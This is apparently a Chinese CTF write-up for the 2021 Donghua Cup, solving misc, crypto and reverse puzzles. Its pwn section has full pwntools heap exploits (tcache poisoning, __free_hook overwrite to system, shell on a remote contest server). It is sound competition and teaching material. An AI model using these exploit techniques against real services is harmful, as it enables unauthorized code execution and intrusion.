2021东华杯 第七届上海市大学生网络安全竞赛 部分wp

2021东华杯

第七届上海市大学生网络安全竞赛 部分wp

misc

checkin

签到题,utf-7解码一下即可

+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-
flag{dhb_7th}

JumpJumpTiger

给一个exe,逆向手狂喜,ida分析

nt __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[100]; // [rsp+20h] [rbp-60h]
  int v5[101]; // [rsp+1B0h] [rbp+130h]
  int v6; // [rsp+344h] [rbp+2C4h]
  int v7; // [rsp+348h] [rbp+2C8h]
  int i; // [rsp+34Ch] [rbp+2CCh]

  _main();
  printf("This is your hint!!!");
  v7 = 0;
  v6 = 0;
  for ( i = 0; i <= 99; ++i )
  {
    if ( i & 1 )
      v4[v6++] = i;
    else
      v5[v7++] = i;
  }
  return 0;
}

这个很明显就是分离奇偶位,但是分离什么?字符串搜索发现一串很长的字符串,类似base64,猜测可能是图片

这段字符串很长,长到超出ida的最大行数,改用strings提取字符串至文本,然后编辑工具提取出这部分保存为txt文件,脚本处理一下

from base64 import *

a = ''
b = ''
with open('hint2.txt','r') as f:
	text = f.read()
	#print(text)
	
for i in range(len(text)):
	if i & 1:
		a += text[i]
	else:
		b += text[i]
#print(a)
print(b)
with open('1.jpg','wb') as f1:
	f1.write(b64decode(b))
with open('1.png','wb') as f2:
	f2.write(b64decode(a))

两个图片是一样的,盲水印攻击得到flag

project

给了很多文件,还以为是工控,但是发现很多文件的日期都是很久前的了,猜测大概率这些文件是用不到的,发现一个备份文件,解压后得到一个文件,一部分内容为

其他两部分分别为可打印字符和base64图片,先解密base64

表情包文化,是随着网络社交沟通的增多出现的一种主流文化。一个人的表情包是其隐藏起来的真我,一个国家的表情包里能看到这个国家的表情。‌‌‌‌‍‬‬‌有时候,表情包表达的是不能道破的真实想法和感受,语言和文字的尽头,就是表情包施展的空间。
表情包是网络语言的一种进化,它的产生和流行与其特定的“‌‌‌‌‍‍‍生存环境”有关。其追求醒目、新奇、谐谑等效果的特点,‌‌‌‌‍‌‬与年轻人张扬个性和搞怪的心理相符‌‌‌‌‍‌‬。
表情包之所以能够大范围地传播,‌‌‌‌‍‬‍是因为其弥补了文字交流的枯燥和态度表达不准确的弱点,有效地提高了沟通效率。部分表情包具有替代文字的功能,‌‌‌‌‍‍‍还可以节省打字时间‌‌‌‌‍‌‌。随着智能手机的全面普及和社交应用软件的大量使用,表情包已经高频率地出现在人们的网络聊天对话当中。

发现不可见字符,零宽解密http://330k.github.io/misc_tools/unicode_steganography.html得到:hurryup,可打印字符部分和base64相同,在此不累赘

base64转图片,得到jpg文件,猜测可能是前面解出来的作为密钥,尝试jphswin,oursecret等工具,最终在oursecret发现flag

where_can_find_code

编辑器打开asc文件,发现一串很像是flag的字符串:

<font>
format("Translate the letter J into I");
dpeb{e58ca5e2-2c51-4eef-5f5e-33539364deoa}
</font>

应该是某种换位密码,结合上面的话,应该是 Playfair Cipher ,那想办法得到密钥,文件类似是asc,尝试wb解密得到

20810842042108421

数字仅有20148组成,云影密码无疑,解密后得到 BINGO ,然后在线网站解一下就行

http://rumkin.com/tools/cipher/playfair.php

密码学

fermat's revenge

给了附件

from Crypto.Util.number import *
f = open('flag.txt', 'rb')
m = bytes_to_long(f.read())
f.close()
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
hint = pow(1010 * p + 1011, q, n)
f = open('cipher.txt', 'w')
f.write(f'n={n}\n')
f.write(f'c={c}\n')
f.write(f'hint={hint}\n')
f.close()

这个给的条件比较少,数学推理开始

hint = (1010*p+1011)^q mod n
先二项式展开化简一下
hint = (1010*p)^q+1011^q mod p
     = 1011^q mod p
     = 1011^pq mod p
存在:1011^pq = 1011^p mod p
所以p | hint-1011^n,
又因为p | n
所以q = gcd(N,hint-1011^n)
所以N可被分解

代码如下

from gmpy2 import *
from Crypto.Util.number import *

n=17329555687339057933030881774167606066714011664369940819755094697939414110116183129515036417930928381309923593306884879686961969722610261114896200690291299753284120079351636102685226435454462581742248968732979816910255384339882675593423385529925794918175056364069416358095759362865710837992174966213332948216626442765218056059227797575954980861175262821459941222980957749720949816909119263643425681517545937122980872133309062049836920463547302193585676588711888598357927574729648088370609421283416559346827315399049239357814820660913395553316721927867556418628117971385375472454118148999848258824753064992040468588511
c=2834445728359401954509180010018035151637121735110411504246937217024301211768483790406570069340718976013805438660602396212488675995602673107853878297024467687865600759709655334014269938893756460638324659859693599161639448736859952750381592192404889795107146077421499823006298655812398359841137631684363428490100792619658995661630533920917942659455792050032138051272224911869438429703875012535681896010735974555495618216882831524578648074539796556404193333636537331833807459066576022732553707927018332334884641370339471969967359580724737784159811992637384360752274204462169330081579501038904830207691558009918736480389
hint=2528640120640884291705022551567142949735065756834488816429783990402901687493207894594113717734719036126087363828359113769238235697788243950392064194097056579105620723640796253143555383311882778423540515270957452851097267592400001145658904042191937942341842865936546187498072576943297002184798413336701918670376291021190387536660070933700475110660304652647893127663882847145502396993549034428649569475467365756381857116208029508389607872560487325166953770793357700419069480517845456083758105937644350450559733949764193599564499133714282286339445501435278957250603141596679797055178139335763901195697988437542180256184
e = 65537

q = gcd(n,hint-pow(1011,n,n))
#print(q)
p = n//q
Fai = (p-1)*(q-1)
d = invert(e,Fai)
m = pow(c,d,n)
print(long_to_bytes(m))
#flag{1d2f28834ecxx3bxxx0xxxxxxxxe}

The_RSA

未解出

My_CrptoSystem

未解出

BlockEncrypt

未解出

reverse

ooo

64位linux程序,ida分析一下

其中比较的函数是一个比较的过程,可以动态调试稍微看一下

大概就是取低字节比较,要求的输入flag先被异或处理,然后和取低字节的dword数组比较,相等就可以,dword的数据为

0x6,0x10C,0x201,0x307,0x41B,0x551,0x653,0x706,0x853,0x955,0x0A56,0x0B56,0x0C53,0x0D4D,0x0E55,0x0F50,0x1001,0x1154,0x124D,0x1354,0x1457,0x1557,0x1602,0x174D,0x1852,0x1957,0x1A58,0x1B02,0x1C4D,0x1D02,0x1E57,0x1F51,0x2051,0x2150,0x2252,0x2356,0x2406,0x2506,0x2657,0x2701,0x2804,0x291D

然后flag被异或的部分我们可以直接爆破求出

a = [0x6,0x10C,0x201,0x307,0x41B,0x551,0x653,0x706,0x853,0x955,0x0A56,0x0B56,0x0C53,0x0D4D,0x0E55,0x0F50,0x1001,0x1154,0x124D,0x1354,0x1457,0x1557,0x1602,0x174D,0x1852,0x1957,0x1A58,0x1B02,0x1C4D,0x1D02,0x1E57,0x1F51,0x2051,0x2150,0x2252,0x2356,0x2406,0x2506,0x2657,0x2701,0x2804,0x291D]

flag = ''
for i in range(127):
	for j in a:
		flag += chr((i^j)&0xff)
	if 'flag{' in flag:
		print('Now is:',hex(i))
		print(flag)
		break

感觉是非预期

mod

ida分析,跟进主函数

跟进关键函数

这里并没有发现什么,程序貌似没有执行完就结束了,看一下汇编

这里发现ida解析出了问题,这里应该是个花指令,上od去掉花指令,这花指令主要是伪造了参数的末尾,将其全部nop就行,然后重新ida分析,得到新的函数

此外,sub_4011A0函数也有花指令,不去掉的话,分析会出错

最终可以判定此函数为主要算法函数

int __cdecl sub_4011A0(int a1, int a2, int a3)
{
  int result; // eax
  int v4; // [esp+14h] [ebp-40h]

  memset(&v4, 0xCCu, 0x40u);
  *(_BYTE *)(a3 + 4 * (a2 / 3)) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 2) & 3) | *(_BYTE *)(a2 + a1 + 1) & 0x30 | *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
  *(_BYTE *)(a3 + 4 * (a2 / 3) + 1) = byte_405018[(4 * (*(_BYTE *)(a2 + a1) & 3) | *(_BYTE *)(a2 + a1 + 2) & 0x30 | *(_BYTE *)(a2 + a1 + 1) & 0xC0) >> 2];
  *(_BYTE *)(a3 + 4 * (a2 / 3) + 2) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 1) & 3) | *(_BYTE *)(a2 + a1) & 0x30 | *(_BYTE *)(a2 + a1 + 2) & 0xC0) >> 2];
  result = a2 / 3;
  *(_BYTE *)(a3 + 4 * (a2 / 3) + 3) = byte_405018[(*(_BYTE *)(a2 + a1 + 2) & 0xC | 4 * *(_BYTE *)(a2 + a1 + 1) & 0x30 | 16 * *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
  return result;
}

结合发现的字符串,这个算法应该是魔改的base64算法,base64表也知道,z3解一下

https://www.freebuf.com/column/232002.html

import z3

'''
 *(_BYTE *)(a3 + 4 * (a2 / 3)) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 2) & 3) | *(_BYTE *)(a2 + a1 + 1) & 0x30 | *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
  *(_BYTE *)(a3 + 4 * (a2 / 3) + 1) = byte_405018[(4 * (*(_BYTE *)(a2 + a1) & 3) | *(_BYTE *)(a2 + a1 + 2) & 0x30 | *(_BYTE *)(a2 + a1 + 1) & 0xC0) >> 2];
  *(_BYTE *)(a3 + 4 * (a2 / 3) + 2) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 1) & 3) | *(_BYTE *)(a2 + a1) & 0x30 | *(_BYTE *)(a2 + a1 + 2) & 0xC0) >> 2];
  result = a2 / 3;
  *(_BYTE *)(a3 + 4 * (a2 / 3) + 3) = byte_405018[(*(_BYTE *)(a2 + a1 + 2) & 0xC | 4 * *(_BYTE *)(a2 + a1 + 1) & 0x30 | 16 * *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
'''

o = 'ABCDFEGH1JKLRSTMNP0VWQUXY2a8cdefijklmnopghwxyqrstuvzOIZ34567b9+/'
n = '2aYcdfL2fS1BTMMF1RSeMTTASS1OJ8RHTJdBYJ2STJfNMSMAYcKUJddp'
flag = ''
for i in range(0, len(n), 4):
	_0 = o.index(n[i + 0])
	_1 = o.index(n[i + 1])
	_2 = o.index(n[i + 2])
	_3 = o.index(n[i + 3])
	
	a1 = [z3.BitVec("a{}".format(j), 8) for j in range(3)]
	#print(a1)
	
	sol = z3.Solver()
	sol.add(((4 * (a1[2] & 3)) | a1[1] & 0x30 | a1[0] & 0xC0) == _0 << 2)
	sol.add(((4 * (a1[0] & 3)) | a1[2] & 0x30 | a1[1] & 0xC0) == _1 << 2)
	sol.add(((4 * (a1[1] & 3)) | a1[0] & 0x30 | a1[2] & 0xC0) == _2 << 2)
	sol.add((a1[2] & 12 | (4 * a1[1]) & 0x30 | (16 * a1[0]) & 0xC0) == _3 << 2)
	
	assert sol.check() == z3.sat
	solve = sol.model()
	flag += "".join([chr(solve.eval(j).as_long()) for j in a1])
    
print(flag)  

得到flag

hell'sgate

未解出,待复现

hello

反编译失败,环境问题,待研究

pwn

bg3

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位程序,保护全部开启,堆溢出,泄露libc后,修改tcabin的fd为free_hook,然后写进system函数即可

from pwn import *

context(os = "linux", arch = "amd64",log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./bg3_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
r = remote('47.104.143.202',25997)
libc = ELF('./bg3_pwn.so')
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')

def menu(choice):
    r.recvuntil('Select:\n')
    r.sendline(str(choice))

def add(idx,size):
    menu(1)
    r.recvuntil('Index:\n')
    r.sendline(str(idx))
    r.recvuntil('PayloadLength:\n')
    r.sendline(str(size))

def edit(idx,content):
    menu(2)
    r.recvuntil('Index:\n')
    r.sendline(str(idx))
    r.recvuntil('BugInfo:\n')
    r.send(content)

def show(idx):
    menu(3)
    r.recvuntil('Index:\n')
    r.sendline(str(idx))

def delete(idx):
    menu(4)
    r.recvuntil('Index:\n')
    r.sendline(str(idx))

for i in range(9):
    add(i,0x88)#0-8

for i in range(7,0,-1):
    delete(i)#7-1

delete(0)
add(9,0x78)
show(9)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebc60
print('libc_base',hex(libc_base))

add(0,0x18)
add(1,0x18)
add(2,0x18)

delete(2)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(0,'a'*0x18+p64(0x21)+p64(free_hook)+'\n')

add(10,0x18)
edit(10,'/bin/sh'+'\n')

system = libc_base+libc.sym['system']
print('system',hex(system))
add(11,0x18)
edit(11,p64(system)+'\n')
delete(10)

#gdb.attach(r)
r.interactive()

cpp1

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位程序,保护全开,没啥好说的

from pwn import *

context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./cpp1_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
r = remote('47.104.143.202',43359)
libc = ELF('./cpp1_pwn')

def menu(choice):
    r.recvuntil('>>\n')
    r.sendline(str(choice))

def add(idx,size):
    menu(1)
    r.recvuntil(">>\n")
    r.sendline(str(idx))
    r.recvuntil(">>\n")
    r.sendline(str(size))

def edit(idx,content):
    menu(2)
    r.recvuntil(">>\n")
    r.sendline(str(idx))
    r.recvuntil(">>\n")
    r.send(content)

def show(idx):
    menu(3)
    r.recvuntil(">>\n")
    r.sendline(str(idx))

def delete(idx):
    menu(4)
    r.recvuntil(">>\n")
    r.sendline(str(idx))

for i in range(9):
    add(i,0x88)

for i in range(7,0,-1):
    delete(i)

delete(0)
add(9,0x78)
show(9)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebc60
print('libc_base',hex(libc_base))

add(0,0x18)
add(1,0x18)
add(2,0x18)

delete(2)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(0,'a'*0x18+p64(0x21)+p64(free_hook)+'\n')

add(10,0x18)
edit(10,'/bin/sh'+'\n')

system = libc_base+libc.sym['system']
print('system',hex(system))
add(11,0x18)
edit(11,p64(system)+'\n')

delete(10)

#gdb.attach(r)
r.interactive()

gcc2

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位程序,保护全开,存在uaf漏洞,并且申请最大堆不超过0x67,因为这个造成大小的限制,可以伪造一个fake堆,让其溢出到下一个chunk的size,修改其达到满足进入unsortedbin的大小,然后填满后再次释放即可进入unsortedbin,进而泄露libc,后面就是写free_hook

疑点:最开始是打算泄露堆地址,然后分配到 tcache控制块来泄露libc,但是本地调试是不成功的,原因待探究

from pwn import *

context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./gcc2_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
#libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
r = remote('47.104.143.202',15348)
libc = ELF('./gcc2.so')

def menu(choice):
    r.recvuntil('>>\n')
    r.sendline(str(choice))

def add(idx,size):
    menu(1)
    r.recvuntil(">>\n")
    r.sendline(str(idx))
    r.recvuntil(">>\n")
    r.sendline(str(size))

def edit(idx,content):
    menu(2)
    r.recvuntil(">>\n")
    r.sendline(str(idx))
    r.recvuntil(">>\n")
    r.send(content)

def show(idx):
    menu(3)
    r.recvuntil(">>\n")
    r.sendline(str(idx))

def delete(idx):
    menu(4)
    r.recvuntil(">>\n")
    r.sendline(str(idx))


add(0,0x67)
add(1,0x67)
add(2,0x67)
add(3,0x67)
add(4,0x18)

delete(1)
edit(1,p64(0)+p64(0x71)+'\n')
delete(0)
show(0)
heap_base = u64(r.recvuntil('\n').strip().ljust(8,'\x00'))
print('heap_base',hex(heap_base))
fake = heap_base+0x10

edit(0,p64(fake)+'\n')
add(5,0x67)
add(6,0x67)

edit(6,'a'*0x58+'\xe1'+'\n')
#edit(2,'aaa'+'\n')
#delete(2)
for i in range(7):
    edit(2,p64(0)+'\n')
    delete(2)
edit(2,p64(0)+'\n')
delete(2)
show(2)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
print(hex(libc_base))

add(7,0x18)
add(8,0x18)
delete(7)
delete(8)
free_hook = libc_base+libc.sym['__free_hook']
print('free_hook',hex(free_hook))
edit(8,p64(free_hook)+'\n')
add(9,0x18)
add(10,0x18)

system = libc_base+libc.sym['system']
print('system',hex(system))
edit(10,p64(system)+'\n')
edit(3,'/bin/sh'+'\n')
delete(3)
#gdb.attach(r)
r.interactive()

boom_script

未解出,待研究

web

非web选手,可见其他师傅的wp,我是个FW

posted @ 2021-11-04 20:47  寒江寻影  阅读(609)  评论(0编辑  收藏  举报